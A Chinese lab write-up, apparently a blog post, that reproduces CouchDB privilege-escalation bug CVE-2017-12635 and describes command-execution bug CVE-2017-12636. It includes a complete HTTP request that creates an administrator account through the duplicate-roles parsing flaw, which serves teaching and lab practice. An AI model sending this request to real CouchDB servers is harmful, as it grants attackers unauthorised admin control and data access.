Couchdb

Couchdb

Apache CouchDB是一个开源数据库,专注于易用性和成为"完全拥抱web的数据库"。它是一个使用JSON作为存储格式,JavaScript作为查询语言,MapReduce和HTTP作为API的NoSQL数据库。应用广泛,如BBC用在其动态内容展示平台,Credit Suisse用在其内部的商品部门的市场框架,Meebo,用在其社交平台(web和应用程序)。
使用json api进行查询

默认端口5984

Couchdb 垂直权限绕过漏洞(CVE-2017-12635)

CVE-2017-12635是由于Erlang和JavaScript对JSON解析方式的不同,导致语句执行产生差异性导致的。这个漏洞可以让任意用户创建管理员,属于垂直权限绕过漏洞。
影响版本:小于 1.7.0 以及 小于 2.1.1

向restful api发送如下数据包

PUT /_users/org.couchdb.user:vulhub HTTP/1.1
Host: your-ip:5984
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 90

{
  "type": "user",
  "name": "vulhub",
  "roles": ["_admin"],
  "password": "vulhub"
}

直接访问url,用burp抓包
在这里插入图片描述
可以看到只有admin可以添加用户
发送包含两个roles的数据包,即可绕过限制

在这里插入图片描述
添加成功,用户名/密码:vulhub/vulhub登录成功
在这里插入图片描述

Couchdb 任意命令执行漏洞(CVE-2017-12636)

CVE-2017-12636是一个任意命令执行漏洞,我们可以通过config api修改couchdb的配置query_server,这个配置项在设计、执行view的时候将被运行。
影响版本:小于 1.7.0 以及 小于 2.1.1

这个漏洞和上面的12635可以组成一个漏洞利用链,这个漏洞的利用前提需要登录用户,利用之前需要用之前的漏洞添加一个账号。

Couchdb 2.x和和1.x的API接口有一定区别,所以这个漏洞的利用方式也不同。

1.x

在这里插入图片描述
给query_servers添加配置的时候出现这种情况,不知道怎么解决…

2.x

2.x相比于1.x加入了集群的概念,所以修改配置的API需要增加node name。
reference:
https://www.anquanke.com/post/id/87256

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
Title: Node Patterns – Databases: Volume I – LevelDB, Redis and CouchDB Author: Pedro Teixeira Length: 149 pages Edition: 1 Language: English Publication Date: 2015-04-08 ISBN-10: B00VV93SV2 Node.js has been designed to do quick and efficient network I/O. It's event-driven streams make it ideal to be used as a kind of smart proxy, often working as the glue between back-end systems and clients. Node was originally designed with that intention in mind, but meanwhile it also has been successfully used to build traditional web applications: an HTTP server that serves HTML pages or replies JSON messages and uses a database to store the data. Even though web frameworks in other platforms and languages have preferred to stick with traditional open-source relational databases like MySQL or PostgreSQL, most of the existing Node web frameworks (like Express, Hapi and others) don't impose any database or even any type of database at all. This bring-your-own-database approach has been in part fed by the explosion in the variety of database servers now available, but also by the ease with which the Node module system and NPM allow you to install and use third-party libraries. In this book we will analyze some of the existing solutions for interacting with some types of databases and what interesting uses can you give them. This first short book on databases starts with some of my favourites: LevelDB, Redis and CouchDB. Table of Contents Chapter 1. The source code Chapter 2. Introduction Chapter 3. An embedded database using LevelDB Chapter 4. Redis Chapter 5. CouchDB

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值